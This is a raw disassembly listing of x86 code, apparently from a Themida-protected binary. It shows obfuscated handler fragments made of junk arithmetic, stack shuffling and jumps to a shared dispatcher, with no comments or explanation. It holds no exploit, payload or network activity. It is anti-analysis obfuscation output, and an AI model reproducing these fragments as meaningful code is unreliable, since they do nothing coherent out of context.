		jmp	loc_55801A
; ---------------------------------------------------------------------------


loc_55B81B:				; CODE XREF: sub_556A70+2D28j
		mov	esi, 4BF213ABh
		push	edx
		mov	edx, 68B0182Fh
		jmp	loc_558FB4
; ---------------------------------------------------------------------------


loc_55B82B:				; CODE XREF: sub_556A70-206Fj
		pop	ecx
		jmp	loc_555BD3
; ---------------------------------------------------------------------------


loc_55B831:				; CODE XREF: sub_556A70+451j
		push	455Fh
		jmp	loc_55B5AA
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_55B83B:				; CODE XREF: Themida_:0055903Bj
		push	4D19h
		mov	[esp], edi
		mov	edi, 4AD74A00h
		add	ebp, edi
		jmp	loc_5589E8
; ---------------------------------------------------------------------------


loc_55B84F:				; CODE XREF: Themida_:00557BB1j
		push	ebx
		sub	esp, 4
		mov	[esp], esi
		push	ebx
		jmp	loc_55C4CA
; ---------------------------------------------------------------------------


loc_55B85C:				; CODE XREF: Themida_:0055C6DBj
		pop	edi
		sub	edx, 0FFFFFFFFh
		push	edi
		jmp	loc_55C7EB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55B869:				; CODE XREF: sub_556A70+121Ej
		push	0A0Eh
		mov	[esp-1Eh+arg_18+2], edi
		mov	edi, 7F0404CBh
		and	edi, 4B9360FEh
		push	edx
		push	esi
		push	563C1F07h
		pop	esi
		or	esi, 14F44A15h
		jmp	loc_557B21
; END OF FUNCTION CHUNK	FOR sub_556A70

; =============== S U B	R O U T	I N E =======================================



sub_55B88F	proc near		; CODE XREF: sub_556A70+70Bj

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0055CE32 SIZE 0000000D BYTES

		sub	esp, 4
		mov	[esp+4+var_4], ecx
		push	dword ptr [esp+4]
		jmp	loc_55CE32
sub_55B88F	endp

; ---------------------------------------------------------------------------


loc_55B89E:				; CODE XREF: Themida_:00554900j
		mov	[esp], ecx
		jmp	loc_55BC00
; ---------------------------------------------------------------------------


loc_55B8A6:				; CODE XREF: Themida_:00556417j
		xchg	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_558237
; ---------------------------------------------------------------------------


loc_55B8B1:				; CODE XREF: Themida_:0055286Ej
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		add	ecx, 4
		push	esi
		mov	esi, 2
		jmp	loc_558545
; ---------------------------------------------------------------------------


loc_55B8D3:				; CODE XREF: Themida_:00555E82j
		push	edx
		jmp	loc_55BC65
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5584F8


loc_55B8D9:				; CODE XREF: sub_5584F8+4ABEj
		or	edi, 513E3E8Bh
		inc	edi
		jmp	loc_552498
; END OF FUNCTION CHUNK	FOR sub_5584F8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55B8E5:				; CODE XREF: sub_556A70+17B1j
		add	ecx, eax
		sub	ecx, 73CD47E9h
		pop	eax
		sub	ecx, 4
		push	ecx
		push	[esp-1Ah+arg_18+2]
		jmp	loc_553CA9
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_555F13


loc_55B8FB:				; CODE XREF: sub_555F13+17j
		jmp	loc_550A46
; END OF FUNCTION CHUNK	FOR sub_555F13
; ---------------------------------------------------------------------------


loc_55B900:				; CODE XREF: Themida_:0055A1D0j
		mov	edx, ebp
		pop	ebp
		jmp	loc_553611
; ---------------------------------------------------------------------------
		xor	[esp], bp
		xor	bp, [esp]
		xor	[esp], bp
		push	small 7E53h
		mov	[esp], bp
		push	small 0F06h
		mov	[esp], cx
		pop	bp
		mov	cx, [esp]
		push	ebx
		mov	ebx, esp
		push	ecx
		mov	ecx, 4
		add	ebx, ecx
		pop	ecx
		jmp	loc_557C78
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55B93B:				; CODE XREF: sub_556A70-DB8j
		push	edi
		jmp	loc_55409A
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_55B941:				; CODE XREF: Themida_:005528BBj
		add	esi, eax
		push	ecx
		mov	ecx, 203061DBh
		and	ecx, 3314143Ah
		sub	ecx, 0EC82FC3Ah
		add	esi, ecx
		pop	ecx
		push	edx
		mov	edx, 68AF502Eh
		shl	edx, 2
		not	edx
		dec	edx
		shr	edx, 4
		push	ecx
		jmp	loc_5589DA
; ---------------------------------------------------------------------------


loc_55B96D:				; CODE XREF: Themida_:00556A4Fj
		add	ecx, 4
		push	6DC2h
		mov	[esp], ebx
		push	eax
		push	edx
		push	4F29249Ah
		pop	edx
		add	edx, 0F46DE0D9h
		sub	esp, 4
		jmp	loc_554DE9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55B991:				; CODE XREF: sub_556A70-204Ej
		pop	esp
		jmp	loc_552F68
; ---------------------------------------------------------------------------


loc_55B997:				; CODE XREF: sub_556A70+4EBj
		mov	ebx, esp
		push	edi
		mov	edi, 4
		add	ebx, edi
		jmp	loc_554175
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_55B9A6:				; CODE XREF: Themida_:0055BE37j
		sub	cl, al
		jmp	loc_55178D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55B9AD:				; CODE XREF: sub_556A70-46D4j
		push	eax
		mov	eax, 51582B32h
		add	eax, 0FFFFFFFFh
		inc	eax
		xor	eax, 51582B30h
		mov	edx, eax
		pop	eax
		add	eax, edx
		pop	edx
		xchg	eax, [esp-0Ch+arg_8]
		mov	esp, [esp-0Ch+arg_8]
		mov	cx, word ptr [esp-0Ch+arg_8]
		sub	esp, 4
		mov	[esp-8+arg_4], esi
		push	esp
		pop	esi
		jmp	loc_555614
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_55B9DB:				; CODE XREF: Themida_:0055C758j
		add	edx, 6A674268h
		pop	esi
		xor	edx, [esp]
		jmp	loc_556E77
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55B9EA:				; CODE XREF: sub_556A70-4CC8j
		mov	ecx, [esp+8+var_8]
		add	esp, 4
		sub	bh, 94h
		xor	al, bh
		mov	ebx, [esp+4+var_4]
		add	esp, 4
		push	5143h
		mov	[esp+4+var_4], edx
		jmp	loc_5523C9
; ---------------------------------------------------------------------------


loc_55BA0B:				; CODE XREF: sub_556A70+6A3j
		push	edi
		mov	edi, ebx
		mov	ecx, edi
		pop	edi
		pop	ebx
		add	ecx, edi
		push	eax
		add	[esp+18h+var_18], 46B925DAh
		pop	dword ptr [ecx]
		sub	dword ptr [ecx], 46B925DAh
		mov	ecx, [esp+14h+var_14]
		push	ebp
		jmp	loc_554B94
; ---------------------------------------------------------------------------


loc_55BA2D:				; CODE XREF: sub_556A70+5321j
		xor	edi, 3AF85777h
		sub	eax, edi
		pop	edi
		jmp	loc_558932
; ---------------------------------------------------------------------------


loc_55BA3B:				; CODE XREF: sub_556A70-5E80j
		mov	edi, esi
		jmp	loc_55A58E
; ---------------------------------------------------------------------------


loc_55BA42:				; CODE XREF: sub_556A70+3F19j
		mov	dl, ch
		pop	ecx
		push	small 71EEh
		jmp	loc_55106E
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5539DB


loc_55BA4E:				; CODE XREF: sub_5539DB+695j
		sub	edi, 0FF76A793h
		mov	ebx, edi
		pop	edi
		and	ecx, ebx
		mov	ebx, [esp+4+var_4]
		add	esp, 4
		shr	ecx, 0Ah
		push	11F6h
		jmp	loc_55913B
; END OF FUNCTION CHUNK	FOR sub_5539DB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55BA6F:				; CODE XREF: sub_556A70+2F02j
		xor	[esp-4+arg_0], ecx
		jmp	loc_559944
; ---------------------------------------------------------------------------


loc_55BA77:				; CODE XREF: sub_556A70-1528j
		add	[esp-34h+arg_30], 4
		mov	edi, [esp-34h+arg_30]
		add	esp, 4
		add	edi, 4
		push	ecx
		mov	ecx, 4
		sub	edi, ecx
		pop	ecx
		xchg	edi, [esp-38h+arg_34]
		pop	esp
		mov	[esp-3Ch+arg_38], ecx
		jmp	loc_550A46
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_55BA9F:				; CODE XREF: Themida_:00557D45j
		mov	eax, edi
		push	edi
		mov	edi, eax
		mov	ecx, edi
		mov	edi, [esp]
		add	esp, 4
		pop	eax
		pop	edi
		shl	ecx, 2
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], ebp
		mov	ebp, 4C17345Dh
		jmp	loc_55811E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55BAD6:				; CODE XREF: sub_556A70+43B9j
		push	2FCCh
		jmp	loc_55607C
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_552E24


loc_55BAE0:				; CODE XREF: sub_552E24+3758j
		xor	eax, esi
		not	esi
		push	930h
		mov	[esp+8+var_8], eax
		sub	esp, 4
		mov	[esp+0Ch+var_C], esi
		push	[esp+0Ch+var_C]
		jmp	loc_552191
; END OF FUNCTION CHUNK	FOR sub_552E24
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_553657


loc_55BAFA:				; CODE XREF: sub_553657-1C36j
		add	esp, 4
		jmp	loc_55A79A
; END OF FUNCTION CHUNK	FOR sub_553657
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55BB05:				; CODE XREF: sub_556A70+6274j
		mov	[esp-1Eh+arg_18+2], edx
		push	esi
		mov	edx, [esp-1Ah+arg_14+2]
		add	esp, 4
		jmp	loc_55CEE0
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_553E6A


loc_55BB14:				; CODE XREF: sub_553E6A+6j
		push	378A6E09h
		pop	eax
		xor	eax, 4C6A7161h
		inc	eax
		and	eax, 78CB369Fh
		push	ecx
		mov	ecx, 78C015E5h
		push	ebp
		mov	ebp, 5DD2D0Bh
		jmp	loc_55598B
; END OF FUNCTION CHUNK	FOR sub_553E6A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_555B85


loc_55BB36:				; CODE XREF: sub_555B85+3E9Aj
		mov	ebp, ebx
		pop	ebx
		xor	ebp, 0F7911FBh
		sub	ebp, 63EF4BF8h
		jmp	loc_55A50C
; END OF FUNCTION CHUNK	FOR sub_555B85
; ---------------------------------------------------------------------------


loc_55BB4A:				; CODE XREF: Themida_:00551B09j
		inc	esi
		push	ecx
		mov	ecx, 0E6658881h
		add	esi, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_556EFE
; ---------------------------------------------------------------------------


loc_55BB5E:				; CODE XREF: Themida_:0055AA5Aj
		mov	eax, [esp]
		push	esi
		push	7761h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	esi
		jmp	loc_556665
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55BB74:				; CODE XREF: sub_556A70-557Bj
		mov	bx, word ptr [esp-8+arg_4]
		push	ebp
		jmp	loc_558771
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_552B74


loc_55BB7E:				; CODE XREF: sub_552B74-2052j
		pop	ecx
		add	ah, 0A1h
		sub	ah, 1Bh
		add	ah, 0
		add	cl, ah
		pop	eax
		add	bl, cl
		mov	ecx, [esp+4+var_4]
		add	esp, 4
		add	bl, al
		sub	esp, 4
		mov	[esp+4+var_4], eax
		mov	ah, 47h
		sub	bl, 18h
		sub	bl, ah
		push	eax
		mov	al, 18h
		add	bl, al
		pop	eax
		pop	eax
		push	1292h
		mov	[esp+4+var_4], esi
		mov	esi, 3FCh
		push	edx
		mov	edx, 69FE56A8h
		xor	edx, 5CAA0C02h
		push	edx
		mov	edx, 8B67A4Bh
		and	edx, 51D115F1h
		not	edx
		xor	edx, 0ED1B91D3h
		jmp	loc_55B790
; END OF FUNCTION CHUNK	FOR sub_552B74
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55BBE1:				; CODE XREF: sub_556A70-5FC8j
		shl	dh, 4
		jmp	loc_5512FD
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_55BBE9:				; CODE XREF: Themida_:0055C924j
		or	esi, 34EF035Ah
		jmp	loc_557C93
; ---------------------------------------------------------------------------


loc_55BBF4:				; CODE XREF: Themida_:0055C2EDj
		or	edi, 555E11B3h
		inc	edi
		jmp	loc_555930
; ---------------------------------------------------------------------------


loc_55BC00:				; CODE XREF: Themida_:0055B8A1j
		push	ebx
		jmp	loc_55669E
; ---------------------------------------------------------------------------


loc_55BC06:				; CODE XREF: Themida_:0055B04Ej
		inc	al
		jmp	loc_550CBD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55BC0D:				; CODE XREF: sub_556A70+4961j
		mov	esp, [esp-8+arg_4]
		jmp	loc_5526CC
; ---------------------------------------------------------------------------


loc_55BC15:				; CODE XREF: sub_556A70-2A61j
		push	7F99h
		mov	[esp-18h+arg_14], ecx
		mov	ecx, esp
		add	ecx, 4
		push	ebp
		mov	ebp, 747E4D11h
		xor	ebp, 747E4D15h
		jmp	loc_55840A
; ---------------------------------------------------------------------------


loc_55BC36:				; CODE XREF: sub_556A70+1063j
		xor	esi, [esp-16h+arg_10+2]
		jmp	loc_550F5E
; ---------------------------------------------------------------------------


loc_55BC3E:				; CODE XREF: sub_556A70-5DC8j
		dec	eax
		jmp	loc_55867E
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_552B74


loc_55BC44:				; CODE XREF: sub_552B74+EFBj
		xor	ch, ah
		mov	eax, [esp+0Ch+var_C]
		add	esp, 4
		sub	al, ch
		mov	ecx, [esp+8+var_8]
		add	esp, 4
		sub	al, 0EAh
		add	al, dl
		add	al, 0EAh
		jmp	loc_55385A
; END OF FUNCTION CHUNK	FOR sub_552B74
; ---------------------------------------------------------------------------


loc_55BC65:				; CODE XREF: Themida_:0055B8D4j
		push	ecx
		pop	edx
		jmp	loc_559D52
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55BC6C:				; CODE XREF: sub_556A70+45CFj
		push	esi
		mov	si, 6D41h
		jmp	loc_552B1E
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_55BC76:				; CODE XREF: Themida_:0055B508j
		push	ecx
		push	edx
		mov	edx, 4DA24326h
		mov	ecx, edx
		pop	edx
		or	ecx, 0E8B566Fh
		shr	ecx, 8
		push	ebp
		push	eax
		jmp	loc_55574E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55BC90:				; CODE XREF: sub_556A70-39ECj
		push	37514F94h
		pop	edi
		sub	edi, 519953D3h
		push	ecx
		jmp	loc_555639
; ---------------------------------------------------------------------------


loc_55BCA2:				; CODE XREF: sub_556A70+36Aj
		add	esi, 4
		xchg	esi, [esp-1Eh+arg_18+2]
		pop	esp
		and	eax, edi
		pop	edi
		or	edx, eax
		shl	edx, 1
		push	6E5Bh
		jmp	loc_5564F9
; ---------------------------------------------------------------------------


loc_55BCBD:				; CODE XREF: sub_556A70-48E4j
		pop	bx
		jmp	loc_555C6E
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_55BCC4:				; CODE XREF: Themida_:0055BF36j
		push	6F56h
		mov	[esp], esi
		mov	esi, 2CD64574h
		neg	esi
		add	esi, 32E4383Ah
		jmp	loc_557A5A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55BCDE:				; CODE XREF: sub_556A70+46D5j
		pop	ecx
		jmp	loc_553E88
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_55BCE4:				; CODE XREF: Themida_:0055337Aj
		shl	bl, 5
		jmp	loc_552E0F
; ---------------------------------------------------------------------------


loc_55BCEC:				; CODE XREF: Themida_:0055C76Bj
		push	ebp
		mov	ebp, 4
		add	[esp+4], ebp
		pop	ebp
		jmp	loc_559629
; ---------------------------------------------------------------------------


loc_55BCFC:				; CODE XREF: Themida_:00559A51j
		or	si, cx
		pop	cx
		shr	si, 2
		or	si, 70Fh
		push	2AF7h
		mov	[esp], ecx
		push	esi
		jmp	loc_55C13B
; ---------------------------------------------------------------------------


loc_55BD18:				; CODE XREF: Themida_:00552CD3j
		push	ebp
		jmp	loc_55CA25
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55BD1E:				; CODE XREF: sub_556A70-5413j
		push	eax
		mov	eax, 59F67C2Bh
		shl	eax, 7
		xchg	eax, ebx
		not	ebx
		xchg	eax, ebx
		xor	eax, 3B5AFE83h
		jmp	loc_556793
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_55BD35:				; CODE XREF: Themida_:00552054j
		sub	eax, 0A9915A5h
		push	ecx
		mov	ecx, 27C53913h
		and	ecx, 53291FDFh
		xor	ecx, 1819FB4Fh
		xor	eax, ecx
		pop	ecx
		add	edi, eax
		mov	eax, [esp]
		jmp	loc_55A5B1
; ---------------------------------------------------------------------------


loc_55BD59:				; CODE XREF: Themida_:005567E5j
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	edi
		mov	edi, 4
		push	ebx
		mov	ebx, 583079F1h
		add	esi, ebx
		pop	ebx
		add	esi, edi
		push	ecx
		mov	ecx, 583079F1h
		sub	esi, ecx
		jmp	loc_553861
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55BD86:				; CODE XREF: sub_556A70+4448j
		mov	edi, 34534FC9h
		or	edi, 676269E1h
		jmp	loc_55BA2D
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_55BD96:				; CODE XREF: Themida_:00559C2Dj
		shl	esi, 6
		shr	esi, 8
		xor	esi, 0DF37AABh
		sub	esi, 0D2C37D57h
		add	ebx, esi
		mov	esi, [esp]
		add	esp, 4
		neg	ebx
		xor	ebx, 0F745EAAFh
		sub	eax, 5B354CD7h
		add	eax, ebx
		add	eax, 5B354CD7h
		mov	ebx, [esp]
		add	esp, 4
		add	eax, 4
		jmp	loc_557840

; =============== S U B	R O U T	I N E =======================================



sub_55BDD5	proc near		; CODE XREF: sub_556A70-29E6j

var_4		= dword	ptr -4
arg_2		= word ptr  6

		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	[esp+4+var_4]
		mov	esp, [esp+0]
		mov	[esp-6+arg_2], cx
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_550A46
sub_55BDD5	endp


; =============== S U B	R O U T	I N E =======================================



sub_55BDF1	proc near		; CODE XREF: sub_555903-3FF0j
					; sub_556A70-21BEj

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 005557FB SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0055C704 SIZE 00000012 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], ecx
		push	0E600454h
		pop	ecx
		push	edi
		jmp	loc_5557FB
sub_55BDF1	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_552634


loc_55BE06:				; CODE XREF: sub_552634+1B34j
		or	eax, 786320C9h
		add	eax, 0F0B4BA01h
		mov	ecx, eax
		pop	eax
		push	edx
		mov	edx, 0D2DBF178h
		mov	eax, edx
		pop	edx
		add	eax, ecx
		jmp	loc_559993
; END OF FUNCTION CHUNK	FOR sub_552634
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55C259


loc_55BE23:				; CODE XREF: sub_55C259+10j
		xor	ebp, 2261064h
		jmp	loc_556EE2
; END OF FUNCTION CHUNK	FOR sub_55C259
; ---------------------------------------------------------------------------


loc_55BE2E:				; CODE XREF: Themida_:0055B6BBj
		neg	cl
		sub	cl, 0A7h
		push	ax
		mov	al, 34h
		jmp	loc_55B9A6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55BE3C:				; CODE XREF: sub_556A70-4B07j
		add	edi, 0E4C1FF21h
		add	esi, edi
		pop	edi
		dec	esi
		add	esi, 0E69F027Bh
		add	edx, esi
		pop	esi
		push	esi
		jmp	loc_558137
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_55BE55:				; CODE XREF: Themida_:0055246Ej
		mov	[esp], esi
		mov	esi, 2
		add	edx, esi
		mov	esi, [esp]
		add	esp, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		jmp	loc_55A5BF
; ---------------------------------------------------------------------------


loc_55BE76:				; CODE XREF: Themida_:0055CE11j
		jmp	loc_550A46
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55BE7B:				; CODE XREF: sub_556A70+428j
		mov	dh, cl
		mov	ah, dh
		pop	edx
		pop	ecx
		xor	dh, ah
		pop	eax
		mov	ch, dh
		mov	edx, [esp-4+arg_0]
		jmp	loc_55317D
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_55BE8E:				; CODE XREF: Themida_:0055369Fj
		pop	esp
		or	[esp], al
		pushf
		jmp	loc_550A46
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556769


loc_55BE98:				; CODE XREF: sub_556769+242Bj
		jmp	loc_550A46
; END OF FUNCTION CHUNK	FOR sub_556769
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55BE9D:				; CODE XREF: sub_556A70-5131j
		add	edi, ecx
		jmp	loc_55CD9E
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_55BEA4:				; CODE XREF: Themida_:00558DF9j
		sub	[esp], dl
		jmp	loc_55596D
; ---------------------------------------------------------------------------


loc_55BEAC:				; CODE XREF: Themida_:00557B41j
		sub	esp, 4
		mov	[esp], eax
		push	2B304223h
		mov	eax, [esp]
		add	esp, 4
		add	eax, 1
		jmp	loc_553D28
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_554299


loc_55BECD:				; CODE XREF: sub_554299+8038j
		pop	ebp
		pop	ebp
		add	ebp, ecx
		pop	ecx
		jmp	loc_550BD2
; END OF FUNCTION CHUNK	FOR sub_554299
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	esi
		jmp	loc_5519A6
; ---------------------------------------------------------------------------


loc_55BEE1:				; CODE XREF: Themida_:00558F4Aj
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_55CC18
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55BEEC:				; CODE XREF: sub_556A70-195j
		add	cx, 9F97h
		xor	si, cx
		pop	ecx
		jmp	loc_553AD4
; ---------------------------------------------------------------------------


loc_55BEFA:				; CODE XREF: sub_556A70-19D4j
		add	esp, 4
		mov	eax, [esp-14h+arg_10]
		jmp	loc_5581B5
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_55BF08:				; CODE XREF: Themida_:00551794j
		pop	ecx
		push	edi
		jmp	loc_553E09
; ---------------------------------------------------------------------------


loc_55BF0F:				; CODE XREF: Themida_:0055ADF3j
		push	eax
		push	ebp
		mov	ebp, 24CA1AF1h
		mov	eax, 9547649Eh
		sub	eax, ebp
		pop	ebp
		jmp	loc_55A14B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_554299


loc_55BF23:				; CODE XREF: sub_554299-36C0j
		jmp	loc_550A46
; END OF FUNCTION CHUNK	FOR sub_554299
; ---------------------------------------------------------------------------


loc_55BF28:				; CODE XREF: Themida_:00556660j
		add	ebp, 4
		push	7B19h
		mov	[esp], ecx
		jmp	loc_55BCC4
; ---------------------------------------------------------------------------


loc_55BF3B:				; CODE XREF: Themida_:00553072j
		jmp	loc_550A46
; ---------------------------------------------------------------------------


loc_55BF40:				; CODE XREF: Themida_:00558A6Ej
		inc	esi
		inc	esi
		shl	esi, 1
		sub	esi, 0FFFFFFFFh
		shr	esi, 8
		xor	esi, 0DA9D743Dh
		jmp	loc_552BBB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55BF58:				; CODE XREF: sub_556A70+2A2j
		or	edx, eax
		shl	edx, 1
		push	0C67h
		mov	[esp-8+arg_4], ebp
		mov	ebp, 1
		push	edx
		jmp	sub_553E6A
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_55BF6F:				; CODE XREF: Themida_:005538B6j
		mov	ch, dl
		mov	ah, ch
		pop	ecx
		mov	bl, ah
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_55A335
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55BF84:				; CODE XREF: sub_556A70-47A6j
		xor	esi, 30AB532Fh
		add	eax, 2B7A1541h
		add	eax, esi
		sub	eax, 2B7A1541h
		pop	esi
		jmp	loc_5517D9
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_55BF9C:				; CODE XREF: Themida_:00554C18j
		div	cx
		push	small 27C3h
		mov	[esp], dx
		push	ax
		pushf
		jmp	loc_550A46
; ---------------------------------------------------------------------------


loc_55BFAF:				; CODE XREF: Themida_:00551385j
		add	dl, 67h
		and	ch, dl
		jmp	loc_55AD24
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_557F09


loc_55BFB9:				; CODE XREF: sub_557F09+1E44j
		add	esp, [edx+38h]
		jmp	loc_55550F
; END OF FUNCTION CHUNK	FOR sub_557F09
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		sub	esp, 4
		jmp	loc_55C9A7
; ---------------------------------------------------------------------------


loc_55BFCD:				; CODE XREF: Themida_:0055A673j
		sub	edi, 22D409ACh
		add	edi, ebp
		jmp	loc_553747
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55BFDA:				; CODE XREF: sub_556A70+D2Dj
		pop	eax
		add	ecx, 4
		xchg	ecx, [esp+0Ch+var_C]
		pop	esp
		push	edx
		sub	esp, 4
		mov	[esp+10h+var_10], eax
		mov	eax, 122A70F5h
		push	7CBFh
		mov	[esp+14h+var_14], esi
		jmp	loc_555077
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5516F8


loc_55BFFE:				; CODE XREF: sub_5516F8+77E7j
		xor	ecx, eax
		xor	eax, ecx
		jmp	loc_550C3B
; END OF FUNCTION CHUNK	FOR sub_5516F8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55C007:				; CODE XREF: sub_556A70+3F2Fj
		mov	[esp+14h+var_14], esp
		push	ecx
		jmp	loc_551B68
; ---------------------------------------------------------------------------


loc_55C010:				; CODE XREF: sub_556A70+10DFj
		mov	ebp, 25C027EDh
		xor	edi, ebp
		pop	ebp
		mov	eax, edi
		mov	edi, [esp+14h+var_14]
		add	esp, 4
		jmp	loc_552520
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5516F8


loc_55C028:				; CODE XREF: sub_5516F8+B108j
		pop	edx
		xchg	eax, ecx
		xchg	eax, ecx
		not	ecx
		jmp	loc_558EDD
; END OF FUNCTION CHUNK	FOR sub_5516F8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55C032:				; CODE XREF: sub_556A70+3437j
		add	edi, ecx
		add	edi, 79C9685Bh
		sub	edi, 5434123Fh
		mov	ecx, [esp+14h+var_14]
		add	esp, 4
		mov	edx, edi
		pop	edi
		jmp	loc_5579A9
; ---------------------------------------------------------------------------


loc_55C051:				; CODE XREF: sub_556A70+6471j
		xor	ebx, edx
		jmp	loc_555262
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_55C058:				; CODE XREF: Themida_:0055B6EFj
		pop	ebx
		xchg	ecx, [esp]
		mov	esp, [esp]
		mov	fs:[edx], al
		jmp	loc_550A46
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55C067:				; CODE XREF: sub_556A70-2E81j
		shl	eax, 8
		xor	eax, 7E566748h
		dec	eax
		sub	eax, 0C316628Ah
		add	ebx, eax
		pop	eax
		pop	edi
		sub	eax, ebx
		mov	ebx, [esp-8+arg_4]
		add	esp, 4
		push	61C0h
		mov	[esp-8+arg_4], edi
		push	edx
		push	2A451AC1h
		pop	edx
		push	esi
		mov	esi, 0
		sub	esi, 3E8C4EB6h
		sub	esi, edx
		add	esi, 3E8C4EB6h
		xchg	esi, edx
		pop	esi
		push	ecx
		mov	ecx, 92A7C8Bh
		jmp	loc_55ABC1
; END OF FUNCTION CHUNK	FOR sub_556A70
